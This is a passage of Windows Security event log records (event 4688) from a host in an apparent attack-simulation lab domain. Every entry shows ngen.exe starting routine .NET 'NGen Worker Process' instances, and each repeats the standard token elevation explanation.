C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 65c -InterruptEvent 0 -NGENProcess 52c -Pipe 5e8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254494 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb3c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5e8 -InterruptEvent 0 -NGENProcess 65c -Pipe 684 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254493 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1070 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 684 -InterruptEvent 0 -NGENProcess 5e8 -Pipe 690 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254492 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x910 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 690 -InterruptEvent 0 -NGENProcess 684 -Pipe 68c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254491 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xde8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 64c -InterruptEvent 0 -NGENProcess 5a0 -Pipe 638 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254490 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xeac - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 638 -InterruptEvent 0 -NGENProcess 64c -Pipe 600 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254489 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc6c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 600 -InterruptEvent 0 -NGENProcess 638 -Pipe 674 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254488 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4e8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 674 -InterruptEvent 0 -NGENProcess 600 -Pipe 554 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254487 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1394 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 554 -InterruptEvent 0 -NGENProcess 674 -Pipe 668 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254486 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe50 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 668 -InterruptEvent 0 -NGENProcess 554 -Pipe 5ec -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254485 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbe0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5ec -InterruptEvent 0 -NGENProcess 668 -Pipe 56c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254502 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x44c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 67c -InterruptEvent 0 -NGENProcess 6d0 -Pipe 6c4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254501 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x678 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6c4 -InterruptEvent 0 -NGENProcess 67c -Pipe 678 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254500 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1154 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 678 -InterruptEvent 0 -NGENProcess 6c4 -Pipe 580 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254499 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1014 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 580 -InterruptEvent 0 -NGENProcess 678 -Pipe 6c8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254498 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1390 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6c8 -InterruptEvent 0 -NGENProcess 580 -Pipe 6cc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254508 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11c4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6e0 -InterruptEvent 0 -NGENProcess 6ec -Pipe 594 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254507 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x294 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 71c -InterruptEvent 0 -NGENProcess 6d8 -Pipe 708 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254506 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf70 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6f0 -InterruptEvent 0 -NGENProcess 6ec -Pipe 710 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited 